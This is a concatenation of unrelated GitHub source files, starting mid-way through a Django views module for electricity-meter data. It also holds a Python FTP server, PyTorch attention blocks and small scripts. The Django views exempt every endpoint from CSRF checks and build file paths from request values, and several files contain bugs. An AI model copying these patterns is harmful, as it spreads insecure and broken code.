_meterData = meterFile) #Path given\n return HttpResponse({'message': 'Final Output Created'}, status=200)\n except Exception as e :\n return HttpResponse(json.dumps([str(e)]), content_type='application/json',status=500)\n\n@csrf_exempt\ndef downloadFinalOutputFile(request,meter_id,finalOutput_id): # Single File only\n\n print(\"inside downloadFinalOutputile\")\n print(finalOutput_id)\n\n finalOutputFiles = list(filter(lambda finalOutputFile: (finalOutputFile.finalOutputFileMeterId() == meter_id),FinalOutputFile.objects.all()))\n finalOutputFile = finalOutputFiles[0]\n finalOutputDict = json.loads(finalOutputFile.finalOutputDictionary)\n\n outputFile_path = os.path.join(settings.MEDIA_ROOT,finalOutputDict[finalOutput_id])\n print(outputFile_path)\n\n if(os.path.exists(outputFile_path)) :\n with open(outputFile_path, 'rb') as fh:\n response = HttpResponse(fh.read(), content_type=\"text/plain\")\n response['Content-Disposition'] = 'attachment; filename=' + os.path.basename(finalOutputDict[finalOutput_id])\n return response\n\n return HttpResponse(\"There is no Final Output File to download\")\n\n\n@csrf_exempt\ndef changeFinalOutputFile(request,meter_id,finalOutput_id):\n\n print(\"inside changeFinalOutputFile\")\n print(finalOutput_id)\n\n print(request.FILES['fileToUpload'])\n myfile = request.FILES['fileToUpload']\n\n print(myfile)\n print(myfile.name)\n\n finalOutputFiles = list(filter(lambda finalOutputFile: (finalOutputFile.finalOutputFileMeterId() == meter_id),FinalOutputFile.objects.all()))\n finalOutputFile = finalOutputFiles[0]\n finalOutputDict = json.loads(finalOutputFile.finalOutputDictionary)\n print(finalOutputDict[finalOutput_id])\n # useThisLoc = 'fifteenmmdp/media'+finalOutputDict[finalOutput_id]\n useThisLoc = finalOutputDict[finalOutput_id]\n\n fs = OverwriteStorage()\n fs.save(useThisLoc, myfile)\n # realMeterMWHFileToChange.npcFile = request.FILES['fileToUpload']\n # realMeterMWHFileToChange.save()\n return HttpResponse({'message': 'Final Output File Changed'}, status=200)\n\n@csrf_exempt\ndef downLoadFullFinalOutputFiles(request,meter_id):\n print(\"inside downLoadFullFinalOutputFiles\")\n print(meter_id)\n\n path = os.path.join(settings.MEDIA_ROOT,'meterFile/meterFile'+meter_id)\n inputFile_path = os.path.join(path,'Final Output Files')\n outputFile_path = os.path.join(path,'Final_Output.zip')\n\n shutil.make_archive(os.path.splitext(outputFile_path)[0], 'zip', inputFile_path)\n\n if(os.path.exists(outputFile_path)) :\n with open(outputFile_path, 'rb') as fh:\n response = HttpResponse(fh.read(), content_type=\"application/force-download\")\n response['Content-Disposition'] = 'attachment; filename=' + 'Final_Output.zip'\n return response\n\n return HttpResponse(\"There is no Final Output File to download\")\n\n############################## Analyse data #################################################################\n@csrf_exempt\ndef analyseData(request,meter_id):\n try :\n print(\"Analyse data\")\n\n with open(\"fifteenmmdp/media/meterFile/meterFile\" + str(meter_id) +\"/NPC Files/Necessary Files Local Copy/GraphConfiguration.xlsx\", \"rb\") as f: # input the .xlsx\n data = pd.read_excel(f,sheet_name=None,engine='openpyxl')\n f.close()\n\n stateWiseFeederDetails = {}\n\n print(len(data.keys()))\n for key in data.keys() :\n data[key] = data[key].fillna(\"Meter not specified\")\n stateWiseFeederDetails[key] = []\n # print(data[key])\n\n # stateWiseFeederDetails = {'BIHAR' : [] , 'WEST BENGAL' : [] , 'GRIDCO' : [] , 'DVC' : [] , 'SIKKIM' : [] , 'JHARKHAND' : []}\n entities = stateWiseFeederDetails.keys()\n\n for entity in entities :\n for index, row in data[entity].iterrows():\n feederObject = {'id' : row['SL NO'] , 'Feeder Name' : row['Feeder Name'] , 'End1' : row['End1'], 'End2' : row['End2'] }\n stateWiseFeederDetails[entity].append(feederObject)\n \n # with open(r'fifteenmmdp/media/necessaryFiles/Graph Configuration.xlsx', \"rb\") as f: # input the .xlsx\n # data = pd.read_excel(f,sheet_name=\"WEST BENGAL\",engine='openpyxl')\n # f.close()\n # print(data)\n\n \n # for index, row in data.iterrows():\n # feederObject = {'id' : row['SL NO'] , 'Feeder Name' : row['Feeder Name'] , 'End1' : row['End1'], 'End2' : row['End2'] }\n # stateWiseFeederDetails['WEST BENGAL'].append(feederObject)\n\n # print(stateWiseFeederDetails)\n return HttpResponse(json.dumps(stateWiseFeederDetails), content_type=\"application/json\")\n\n # return HttpResponse({'message': 'ANALYSE DATA'}, status=200)\n except Exception as e :\n print(str(e))\n return HttpResponse(json.dumps([str(e)]), content_type='application/json',status=500)\n\n@csrf_exempt\ndef fetchGraphData(request,meter_id,end1,end2,polarity):\n print(meter_id)\n print(end1)\n print(end2)\n print(polarity)\n graphData = fetchData(meter_id,end1,end2,polarity)\n return HttpResponse(json.dumps(graphData), content_type='application/json') \n\n@csrf_exempt\ndef fetchGraphDataExcel(request,meter_id,end1,end2,polarity):\n print(meter_id)\n print(end1)\n print(end2)\n print(polarity)\n graphData = fetchData(meter_id,end1,end2,polarity)\n # return HttpResponse(json.dumps(graphData), content_type='application/json')\n # graphData = {'end1Data' : end1Data ,'end2Data' : end2Data , 'xAxisData' : xAxisData , 'diff' : endDifference(end2Data,end1Data), 'diffPercentage' : endDifferencePercentage(end2Data,end1Data)}\n\n \n meterFileMainFolder = os.path.join(settings.MEDIA_ROOT,\"meterFile\",\"meterFile\"+meter_id)\n\n print(\"inside fetchGraphDataExcel\")\n\n graphDataExcel = {}\n\n graphDataExcel['Date'] = [item.split()[0] for item in graphData['xAxisData']]\n graphDataExcel['Timestamp'] = [item.split()[1] for item in graphData['xAxisData']]\n\n graphDataExcel[end1] = graphData['end1Data']\n graphDataExcel[end2] = graphData['end2Data']\n graphDataExcel['Difference'] = graphData['diff']\n graphDataExcel['Difference Percentage'] = graphData['diffPercentage']\n\n\n dfExcel = pd.DataFrame.from_dict(graphDataExcel)\n\n if(not os.path.exists(meterFileMainFolder + '/Pair Comparison')) :\n os.mkdir(meterFileMainFolder + '/Pair Comparison')\n\n outputFile_path = os.path.join(meterFileMainFolder,'Pair Comparison',end1 +\" vs \" + end2 +\".xlsx\")\n\n dfExcel.to_excel(outputFile_path)\n\n if(os.path.exists(outputFile_path)) :\n with open(outputFile_path, 'rb') as fh:\n response = HttpResponse(fh.read(), content_type=\"application/force-download\")\n response['Content-Disposition'] = 'attachment; filename=' + end1 + \" vs \" + end2 +\".xlsx\"\n return response\n\n return HttpResponse(\"There is no File to download\")\n\n@csrf_exempt\ndef fetchMeterChangeLog(request,meter_id):\n print(meter_id)\n \n meterFileMainFolder = os.path.join(settings.MEDIA_ROOT,\"meterFile\",\"meterFile\"+meter_id)\n\n print(\"inside fetchMeterChangeLog\")\n \n outputFile_path = os.path.join(meterFileMainFolder,'ChangeLog.txt')\n\n if(os.path.exists(outputFile_path)) :\n with open(outputFile_path, 'rb') as fh:\n response = HttpResponse(fh.read(), content_type='application/text charset=utf-8')\n response['Content-Disposition'] = 'attachment; filename= \"ChangeLog.txt\"'\n return response\n\n return HttpResponse(\"No change has been done yet.\")\n\n\n\n@csrf_exempt\ndef fetchDateInfo(request,meter_id):\n print(\"this is fetchDateInfo\")\n print(meter_id)\n\n meterData = AllMeterFiles.objects.get(id=int(meter_id))\n\n # One day is substracted because Real Meter MWH Files only got created for these days.\n dateInformation = {'startDate' : str(meterData.startDate) , 'endDate' : str(meterData.endDate - timedelta(days=1))}\n \n return HttpResponse(json.dumps(dateInformation), content_type=\"text/json-comment-filtered\")\n\n@csrf_exempt\ndef zeroFillMeterEndData(request,meter_id):\n print(\"inside zeroFillMeterEndData\")\n\n meterEndToZeroFill = request.POST['meterEndToReplace']\n print(meterEndToZeroFill)\n print(meter_id)\n\n meterFile = AllMeterFiles.objects.get(id=int(meter_id))\n\n zeroFillMeterError = zeroFillMeter(\"meterFile\"+meter_id ,meterFile ,meterEndToZeroFill)\n changeLog = \"Unavailable data for \" + meterEndToZeroFill + \" is filled with Zero\"\n\n meterChangeLog('fifteenmmdp\\media\\meterFile\\meterFile' + str(meter_id) + '\\ChangeLog.txt', changeLog)\n\n return HttpResponse(\"Success\")\n\n\n\n@csrf_exempt\ndef changeMeterEndData(request,meter_id):\n startDate = request.POST['startDate']\n endDate = request.POST['endDate']\n meterEndToReplace = request.POST['meterEndToReplace']\n equationToReplaceWith = request.POST['equationToReplaceWith']\n changeMeterError = changeMeterEndDataWithEquation(\"meterFile\"+meter_id ,startDate,endDate,meterEndToReplace,equationToReplaceWith)\n print(startDate)\n changeLog = meterEndToReplace + \" is replaced with \" + equationToReplaceWith + \" from timestamp \" + startDate + \" to timestamp \" + endDate\n\n meterChangeLog('fifteenmmdp\\media\\meterFile\\meterFile' + str(meter_id) + '\\ChangeLog.txt', changeLog)\n return HttpResponse(\"Success\")\n\n\n@csrf_exempt\ndef revertMeterEndData(request,meter_id):\n meterEndToReplace = request.POST['meterEndToReplace']\n print(meterEndToReplace)\n print(meter_id)\n print(\"inside revertMeterEndData\")\n revertMeterEndChangesError = revertMeterEndChanges(\"meterFile\"+meter_id ,meterEndToReplace)\n changeLog = \"All the changes done on \" + meterEndToReplace + \" has been Reverted Back.\"\n\n meterChangeLog('fifteenmmdp\\media\\meterFile\\meterFile' + str(meter_id) +'\\ChangeLog.txt', changeLog)\n return HttpResponse(\"Success\")\n\n@csrf_exempt\ndef componentWiseAnalysis(request,meter_id):\n meterEndToAnalyse = request.POST['meterEndToAnalyse']\n print(meterEndToAnalyse)\n print(meter_id)\n print(\"inside componentWiseAnalysis\")\n componentWiseGraphData = componentWiseMeterAnalysis(\"meterFile\"+meter_id ,meterEndToAnalyse)\n\n return HttpResponse(json.dumps(componentWiseGraphData), content_type='application/json')\n\n@csrf_exempt\ndef componentWiseExcelData(request,meter_id,meterEndToExcelData):\n \n meterFileMainFolder = os.path.join(settings.MEDIA_ROOT,\"meterFile\",\"meterFile\"+meter_id)\n\n # meterEndToExcelData = request.POST['meterEndToExcelData']\n print(meterEndToExcelData)\n print(meter_id)\n print(\"inside componentWiseAnalysis\")\n componentWiseGraphData = componentWiseMeterAnalysis(\"meterFile\"+meter_id ,meterEndToExcelData)\n\n downloadExcelData = {}\n\n downloadExcelData['Date'] = [item.split()[0] for item in componentWiseGraphData[0]['x']]\n downloadExcelData['Timestamp'] = [item.split()[1] for item in componentWiseGraphData[0]['x']]\n\n for componentData in componentWiseGraphData :\n downloadExcelData[componentData['name']] = componentData['y']\n\n dfExcel = pd.DataFrame.from_dict(downloadExcelData)\n\n if(not os.path.exists(meterFileMainFolder + '/Component-Wise Excel Data')) :\n os.mkdir(meterFileMainFolder + '/Component-Wise Excel Data')\n\n outputFile_path = os.path.join(meterFileMainFolder,'Component-Wise Excel Data',meterEndToExcelData+\".xlsx\")\n\n dfExcel.to_excel(outputFile_path)\n\n if(os.path.exists(outputFile_path)) :\n with open(outputFile_path, 'rb') as fh:\n response = HttpResponse(fh.read(), content_type=\"application/force-download\")\n response['Content-Disposition'] = 'attachment; filename=' + meterEndToExcelData+\".xlsx\"\n return response\n\n return HttpResponse(\"There is no File to download\")\n\n############################## Special Reports #################################################################\n\n@csrf_exempt\ndef specialReports(request,meter_id):\n print(meter_id)\n print(\"inside specialReports\")\n threshold = request.POST['threshold']\n print(threshold)\n if(not isFloat(threshold)) :\n threshold = 0.5\n specialReport1Data = specialReport1(\"meterFile\"+meter_id,meter_id, float(threshold))\n\n return HttpResponse(json.dumps(specialReport1Data), content_type='application/json')\n\n############################## Necessary Files #################################################################\n\n@csrf_exempt\ndef getNecessaryFiles(request) :\n # necessaryFiles_json = serializers.serialize(\"json\", necessaryFiles)\n # return HttpResponse(json.dumps(necessaryFiles), content_type=\"application/json\")\n\n NecessaryFiles_json = serializers.serialize(\"json\", NecessaryFile.objects.all())\n\n return HttpResponse(NecessaryFiles_json, content_type=\"text/json-comment-filtered\")\n\n\n@csrf_exempt\ndef downLoadNecessaryFile(request,necessaryFileId_id):\n print(\"inside downLoadNecessaryFile\")\n print(necessaryFileId_id)\n\n necessaryFile = NecessaryFile.objects.get(id=int(necessaryFileId_id))\n\n outputFile_path = os.path.join(settings.MEDIA_ROOT,necessaryFile.filePath)\n\n if(os.path.exists(outputFile_path)) :\n with open(outputFile_path, 'rb') as fh:\n response = HttpResponse(fh.read(), content_type=\"application/force-download\")\n response['Content-Disposition'] = 'attachment; filename=' + necessaryFile.fileName\n return response\n\n return HttpResponse(\"There is no File to download\")\n\n@csrf_exempt\ndef changeNecessaryFile(request,necessaryFileId_id):\n print(\"does work\")\n print(request.POST['subTitle'])\n print(request.POST['description'])\n print(request.FILES['necessaryFile'])\n necessaryFile = NecessaryFile.objects.get(id=int(necessaryFileId_id))\n necessaryFile.subTitle = request.POST['subTitle']\n necessaryFile.description = request.POST['description']\n necessaryFile.necessaryFile = request.FILES['necessaryFile']\n necessaryFile.save()\n return HttpResponse({'message': 'Necessary File updated '}, status=200)\n\n\n\n\n ","repo_name":"Pritam723/mdp-back-end","sub_path":"mdp/fifteenmmdp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":41075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38179541993","text":"import turtle\r\n\r\ntao = turtle.Pen()\r\ntao.shape('turtle')\r\nimport random\r\n\r\n\r\ndef color():\r\n C1 = ['red','orenge','yellow','green','blue','purple']\r\n C2 = random.choice(C1)\r\n tao.color(C2)\r\n\r\n \r\ndef go():\r\n tao.penup()\r\n x = random.randint(-150,150)\r\n y = random.randint(-150,150)\r\n tao.goto(x,y)\r\n tao.pendown()\r\n\r\n \r\ndef pen():\r\n for i in range(4):\r\n tao.forward(100)\r\n tao.left(90)\r\n\r\n \r\n\r\ndef all ():\r\n color()\r\n go()\r\n pen()\r\n\r\ntao.mainloop()","repo_name":"singkorn1189/Deang","sub_path":"turtle2.py","file_name":"turtle2.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38571294679","text":"class Solution:\n def numberOfSubarrays(self, nums: List[int], k: int) -> int:\n arr=[0]\n\n cnt=0\n n=len(nums)\n for i in range(n):\n nums[i]=nums[i]%2\n if nums[i]%2==1:\n arr.append(i)\n arr.append(n)\n \n print(arr)\n \n m=len(arr)\n for i in range(1,m-1):\n if i+k 1):\n print(args[1])\n else:\n print('Current dir')\n resp = self.dtp.listDir(self.dir + \"/\" + self.userName)\n \n if (not resp):\n reply = \"550 No files in directory\"\n self.sock.send(reply.encode())\n\n\n def quitProgram(self, args):\n self.active = False\n print(\"Closing connection with \" + self.address[0])\n reply = \"200 Closing connection\\r\\n\"\n self.sock.send(reply.encode())\n return\n\n def handleCommands(self):\n while(self.active):\n data = self.sock.recv(4096)\n decodeData = str(bytes.decode(data))\n clientComm = decodeData.lower()\n clientComm = clientComm.split()\n\n try:\n print(clientComm)\n self.com[clientComm[0]](clientComm)\n except:\n reply = \"500 Command not recognised\\r\\n\"\n self.sock.send(reply.encode())\n\n return\n\nclass serverPi():\n def __init__(self):\n self.port = 21 \n self.address = \"localhost\"\n self.sock = None\n\n signal.signal(signal.SIGINT, self.exitHandler)\n\n def exitHandler(self, sig, frame):\n print(\"\\nServer stopping...\")\n if (self.sock):\n self.sock.close()\n sys.exit(0)\n return\n\n\n def listen(self):\n print(\"Server starting...\")\n\n try:\n self.sock = socket.socket()\n self.sock.bind((self.address, self.port))\n\n print(\"Server started on port: \" + str(self.port))\n\n self.sock.listen()\n\n threads = []\n threadCount = -1\n except:\n print(\"Error: Could not create socket to listen for connections\")\n\n while (True and self.sock) :\n\n clientSock, clientAddress = self.sock.accept()\n\n if clientSock:\n # new thread for this client\n threads.append(serverPiThread(clientSock, clientAddress))\n threadCount += 1\n threads[threadCount].start()\n \n print(\"Server stopping...\")\n\n if self.sock:\n self.sock.close()\n\n return\n\n\n def user(self):\n print(\"worked\")\n pass\n","repo_name":"RC-7/FTP","sub_path":"serverPi.py","file_name":"serverPi.py","file_ext":"py","file_size_in_byte":4989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"40195207334","text":"from Downloader import Downloader\nfrom Builder import Builder\nfrom Utils import loadconfig\nfrom Controller import Controller\n\n\n\n\n\nif __name__ == '__main__':\n# -----------------load config--------------------\n configpath = \"Config/config.json\"\n configs = loadconfig(configpath)\n dir_config = configs[\"Dir\"]\n file_config = configs[\"File\"]\n# -----------------create classes--------------\n builder = Builder(configpath)\n downloader = Downloader(dir_config[\"Save_Path\"])\n controller = Controller(file_config[\"MusicList\"])\n# ------------------------------------------\n controller = controller.init(downloader,builder)\n controller.AutoDownload()","repo_name":"ctlyz123/MusicDownload","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"10492227334","text":"class Solution:\n # Time: O(n^2)\n # Space: O(1)\n def maxProfit(self, prices: List[int]) -> int:\n max_profit = 0\n for i in range(len(prices)):\n for j in range(i + 1, len(prices)):\n buy = prices[i]\n sell = prices[j]\n max_profit = max(max_profit, sell - buy)\n return max_profit\n\n # Time: O(n) \n # Space: O(1)\n def maxProfit(self, prices: List[int]) -> int:\n profit = 0\n min_price = prices[0]\n for i in range(1, len(prices)):\n profit = max(profit, prices[i] - min_price)\n min_price = min(min_price, prices[i])\n return profit\n","repo_name":"ThinkSmall98/Neetcode_150_Python_Solutions_Personal","sub_path":"sliding_window/best_time_to_buy&sell_stock.py","file_name":"best_time_to_buy&sell_stock.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"8992006347","text":"#Basic Modules\n\n#Pytorch\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.nn.parameter import Parameter\n\n\nclass SE(nn.Module):\n def __init__(self, in_channels, reduction_ratio):\n super().__init__()\n self.pool = nn.AdaptiveAvgPool2d(1)\n self.fc1 = nn.Linear(in_channels, in_channels//reduction_ratio, bias = True)\n self.relu = nn.ReLU(inplace = True)\n self.fc2 = nn.Linear(in_channels//reduction_ratio, in_channels, bias = True)\n self.sigmoid = nn.Sigmoid()\n\n def forward(self, x):\n b, c, _, _ = x.size()\n out = self.pool(x).view(b, c)\n out = self.fc1(out)\n out = self.relu(out)\n out = self.fc2(out)\n out = self.sigmoid(out).view(b, c, 1, 1)\n return x * out.expand_as(x)\n\nclass SRM(nn.Module):\n def __init__(self, in_channels):\n super().__init__()\n self.cfc = Parameter(torch.Tensor(in_channels, 2))\n self.cfc.data.fill_(0)\n self.bn = nn.BatchNorm2d(in_channels)\n self.activation = nn.Sigmoid()\n\n def _style_pooling(self, x, eps=1e-5):\n N, C, _, _ = x.size()\n channel_mean = x.view(N, C, -1).mean(dim=2, keepdim=True)\n channel_var = x.view(N, C, -1).var(dim=2, keepdim=True) + eps\n channel_std = channel_var.sqrt()\n t = torch.cat((channel_mean, channel_std), dim=2)\n return t \n \n def _style_integration(self, t):\n z = t * self.cfc[None, :, :] \n z = torch.sum(z, dim=2)[:, :, None, None] \n z_hat = self.bn(z)\n g = self.activation(z_hat)\n return g\n\n def forward(self, x):\n t = self._style_pooling(x)\n g = self._style_integration(t)\n return x * g\n\nclass BAM(nn.Module):\n def __init__(self, in_channels, reduction_ratio = 4):\n super().__init__()\n #Channel Attention\n self.c_pool = nn.AdaptiveAvgPool2d(1)\n self.c_fc1 = nn.Linear(in_channels, in_channels // reduction_ratio, bias = True)\n self.c_fc2 = nn.Linear(in_channels // reduction_ratio, in_channels, bias = True)\n self.c_bn = nn.BatchNorm2d(in_channels)\n\n #Spatial Attention\n self.s_conv1 = nn.Conv2d(in_channels, in_channels // reduction_ratio, kernel_size = 1)\n self.s_bn1 = nn.BatchNorm2d(in_channels // reduction_ratio)\n self.s_relu1 = nn.ReLU()\n self.s_conv2 = nn.Conv2d(in_channels // reduction_ratio, in_channels // reduction_ratio, kernel_size = 3, padding = 4, dilation = 4)\n self.s_bn2 = nn.BatchNorm2d(in_channels // reduction_ratio)\n self.s_relu2 = nn.ReLU() \n self.s_conv3 = nn.Conv2d(in_channels // reduction_ratio, in_channels // reduction_ratio, kernel_size = 3, padding = 4, dilation = 4)\n self.s_bn3 = nn.BatchNorm2d(in_channels // reduction_ratio)\n self.s_relu3 = nn.ReLU()\n self.s_conv4 = nn.Conv2d(in_channels // reduction_ratio, 1, kernel_size = 1)\n\n #Combine\n self.sigmoid = nn.Sigmoid()\n\n def channel_attention(self, x):\n b, c, _, _ = x.size()\n out = self.c_pool(x).view(b, c)\n out = self.c_fc1(out)\n out = self.c_fc2(out).view(b, c, 1, 1)\n out = self.c_bn(out)\n return out\n \n def spatial_attention(self, x):\n out = self.s_conv1(x)\n out = self.s_bn1(out)\n out = self.s_relu1(out)\n out = self.s_conv2(out)\n out = self.s_bn2(out)\n out = self.s_relu2(out)\n out = self.s_conv3(out)\n out = self.s_bn3(out)\n out = self.s_relu3(out)\n out = self.s_conv4(out)\n return out\n \n def forward(self, x):\n m_c = self.channel_attention(x)\n m_s = self.spatial_attention(x)\n out = self.sigmoid(m_c * m_s)\n return x * out\n\nclass CBAM(nn.Module):\n def __init__(self, in_channels, reduction_ratio = 4):\n super().__init__()\n\n #Channel Attention(MaxPool)\n self.c_pool1 = nn.AdaptiveAvgPool2d(1)\n self.c_fc1 = nn.Linear(in_channels, in_channels // reduction_ratio, bias = True)\n self.c_relu1 = nn.ReLU()\n self.c_fc2 = nn.Linear(in_channels // reduction_ratio, in_channels, bias = True)\n\n #Channel Attention(AvgPool)\n self.c_pool2 = nn.AdaptiveMaxPool2d(1)\n self.c_fc3 = nn.Linear(in_channels, in_channels // reduction_ratio, bias = True)\n self.c_relu2 = nn.ReLU()\n self.c_fc4 = nn.Linear(in_channels // reduction_ratio, in_channels, bias = True)\n\n #Combine\n self.c_sigmoid1 = nn.Sigmoid()\n\n #Spatial Attention\n self.s_conv1 = nn.Conv2d(2, 1, kernel_size = 7, stride = 1, padding = 3)\n self.s_bn1 = nn.BatchNorm2d(1)\n self.s_sigmoid2 = nn.Sigmoid()\n \n def forward(self, x):\n b, c, _, _ = x.size()\n\n out_max = self.c_pool1(x).view(b, c)\n out_max = self.c_fc1(out_max)\n out_max = self.c_relu1(out_max)\n out_max = self.c_fc2(out_max).view(b, c, 1, 1)\n\n out_avg = self.c_pool2(x).view(b, c)\n out_avg = self.c_fc3(out_avg)\n out_avg = self.c_relu2(out_avg)\n out_avg = self.c_fc4(out_avg).view(b, c, 1, 1)\n\n out_channel = self.c_sigmoid1(out_max + out_avg)\n out_channel = x * out_channel\n\n out_spatial = torch.cat((torch.max(out_channel,1)[0].unsqueeze(1), torch.mean(out_channel,1).unsqueeze(1)), dim=1)\n out_spatial = self.s_conv1(out_spatial)\n out_spatial = self.s_bn1(out_spatial)\n out_spatial = self.s_sigmoid2(out_spatial)\n out_spatial = out_channel * out_spatial\n return out_spatial\n \nclass GE(nn.Module):\n def __init__(self, in_channels, location):\n super().__init__()\n kernel_size = [56, 28, 14, 7]\n self.conv = nn.Conv2d(in_channels, in_channels, kernel_size = kernel_size[location], groups = in_channels)\n self.bn = nn.BatchNorm2d(in_channels)\n self.sigmoid = nn.Sigmoid()\n\n def forward(self, x):\n b, c, _, _ = x.size()\n out = self.conv(x)\n out = self.bn(out)\n out = self.sigmoid(out)\n return x * out\n\nclass SepConv(nn.Module):\n def __init__(self, in_channels, out_channels, kernel_size):\n super().__init__()\n self.conv1 = nn.Conv2d(in_channels, in_channels, kernel_size = kernel_size, stride = 1, padding = 1, groups = in_channels, bias = False)\n self.bn1 = nn.BatchNorm2d(in_channels, eps = 1e-05, momentum = 0.01)\n self.relu1 = nn.ReLU(inplace = True)\n self.conv2 = nn.Conv2d(in_channels, out_channels, kernel_size = 1, stride = 1, bias = False)\n self.bn2 = nn.BatchNorm2d(out_channels, eps = 1e-05, momentum = 0.01)\n\n def forward(self, x):\n out = self.conv1(x)\n out = self.bn1(out)\n out = self.relu1(out)\n out = self.conv2(out)\n out = self.bn2(out)\n return out\n\nclass MBConv(nn.Module):\n def __init__(self, in_channels, out_channels, kernel_size, stride, padding, expansion_ratio, residual = True, attention = None):\n super().__init__()\n self.attention = attention\n self.residual = residual\n expanded_channels = in_channels * expansion_ratio\n if self.residual == True:\n self.residual = nn.Conv2d(in_channels, out_channels, kernel_size = 1, stride = stride, bias = False)\n self.conv1 = nn.Conv2d(in_channels, expanded_channels, kernel_size = 1, stride = 1, bias = False)\n self.bn1 = nn.BatchNorm2d(expanded_channels, eps = 1e-05, momentum = 0.01)\n self.relu1 = nn.ReLU()\n self.conv2 = nn.Conv2d(expanded_channels, expanded_channels, kernel_size = kernel_size, stride = stride, padding = padding, groups = expanded_channels, bias = False)\n self.bn2 = nn.BatchNorm2d(expanded_channels, eps = 1e-05, momentum = 0.01)\n self.relu2 = nn.ReLU()\n if self.attention == \"SE\":\n self.se = SEBlock(expanded_channels, reduction_ratio = 4)\n self.conv3 = nn.Conv2d(expanded_channels, out_channels, kernel_size = 1, stride = 1, bias = False)\n self.bn3 = nn.BatchNorm2d(out_channels, eps = 1e-05, momentum = 0.01)\n\n def forward(self, x):\n if self.residual == True:\n residual = self.residual(x)\n out = self.conv1(x)\n out = self.bn1(out)\n out = self.relu1(out)\n out = self.conv2(out)\n out = self.bn2(out)\n out = self.relu2(out)\n if self.attention == \"SE\":\n out = self.se(out)\n out = self.conv3(out)\n out = self.bn3(out)\n if self.residual == True:\n out += residual\n return out\n\nclass ResBlock(nn.Module):\n def __init__(self, in_channels, out_channels, stride):\n super().__init__()\n self.stride = stride\n if self.stride != 1:\n self.residual = nn.Conv2d(in_channels, out_channels, kernel_size = 1, stride = stride, bias = False)\n self.conv1 = nn.Conv2d(in_channels, out_channels, kernel_size = 3, stride = stride, padding = 1, bias = False)\n self.bn1 = nn.BatchNorm2d(out_channels)\n self.relu1 = nn.ReLU()\n self.conv2 = nn.Conv2d(out_channels, out_channels, kernel_size = 3, stride = 1, padding = 1, bias = False)\n self.bn2 = nn.BatchNorm2d(out_channels)\n self.relu2 = nn.ReLU()\n\n def forward(self, x):\n residual = x\n if self.stride != 1:\n residual = self.residual(x)\n out = self.conv1(x)\n out = self.bn1(out)\n out = self.relu1(out)\n out = self.conv2(out)\n out = self.bn2(out)\n out = self.relu2(out)\n out += residual\n return out\n\nclass Bottleneck_Block(nn.Module):\n def __init__(self, in_channels, bottleneck_channels, out_channels, stride):\n super().__init__()\n self.in_channels = in_channels\n self.out_channels = out_channels\n if self.in_channels != self.out_channels:\n self.residual = nn.Conv2d(in_channels, out_channels, kernel_size = 1, stride = stride, bias = False)\n self.conv1 = nn.Conv2d(in_channels, bottleneck_channels, kernel_size = 1, stride = 1, bias = False)\n self.bn1 = nn.BatchNorm2d(bottleneck_channels)\n self.relu1 = nn.ReLU()\n self.conv2 = nn.Conv2d(bottleneck_channels, bottleneck_channels, kernel_size = 3, stride = stride, padding = 1, bias = False)\n self.bn2 = nn.BatchNorm2d(bottleneck_channels)\n self.relu2 = nn.ReLU()\n self.conv3 = nn.Conv2d(bottleneck_channels, out_channels, kernel_size = 1, stride = 1, bias = False)\n self.bn3 = nn.BatchNorm2d(out_channels)\n self.relu3= nn.ReLU()\n\n def forward(self, x):\n residual = x\n if self.in_channels != self.out_channels:\n residual = self.residual(x)\n out = self.conv1(x)\n out = self.bn1(out)\n out = self.relu1(out)\n out = self.conv2(out)\n out = self.bn2(out)\n out = self.relu2(out)\n out = self.conv3(out)\n out = self.bn3(out)\n out = self.relu3(out)\n out += residual\n return out\n\nclass Depthwise_Separable_Conv(nn.Module):\n def __init__(self, in_channels, out_channels, stride):\n super().__init__()\n self.conv1 = nn.Conv2d(in_channels, in_channels, kernel_size = 3, stride = stride, padding = 1, groups = in_channels, bias = False)\n self.bn1 = nn.BatchNorm2d(in_channels)\n self.relu1 = nn.ReLU()\n self.conv2 = nn.Conv2d(in_channels, out_channels, kernel_size = 1, stride = 1, bias = False)\n self.bn2 = nn.BatchNorm2d(out_channels)\n self.relu2 = nn.ReLU()\n\n def forward(self, x):\n out = self.conv1(x)\n out = self.bn1(out)\n out = self.relu1(out)\n out = self.conv2(out)\n out = self.bn2(out)\n out = self.relu2(out)\n return out\n\n\n ","repo_name":"satyagraha5/Earth","sub_path":"Civilization/Shrine/block.py","file_name":"block.py","file_ext":"py","file_size_in_byte":11742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30440239654","text":"import time\n\ndef fibonacci1(n: int) -> int:\n if n == 0: return 0\n if n == 1: return 1\n return fibonacci1(n - 1) + fibonacci1(n - 2)\n\ndef get_runtime_of_fibonacci1(n: int) -> float:\n start1 = time.time()\n fibonacci1(n)\n stop1 = time.time()\n return (stop1 - start1) * (10 ** (3))\n\ncount = 0\nfibonacci1_data = []\nwhile count < 100:\n fibonacci1_data.append(get_runtime_of_fibonacci1(count))\n count += 5\n\nprint(fibonacci1_data)\n","repo_name":"juliencol/complexity-simulation","sub_path":"functions/fibonacci1.py","file_name":"fibonacci1.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"20660029118","text":"import discord\nfrom discord.ext import commands\n\nimport os\n\nfrom DATA.Database import Database\n\nasync def get_prefix(bot, message):\n if not message.guild:\n return \"!\"\n\n prefixe = await bot.db.fetchval('prefixes', 'prefix', f'g_id = :g_id', g_id=message.guild.id)\n\n if not prefixe:\n return commands.when_mentioned_or(\"!\")(bot, message)\n\n return commands.when_mentioned_or(prefixe)(bot, message)\n\n\nbot = commands.Bot(command_prefix=get_prefix)\nbot.remove_command('help')\n\nbot.db = 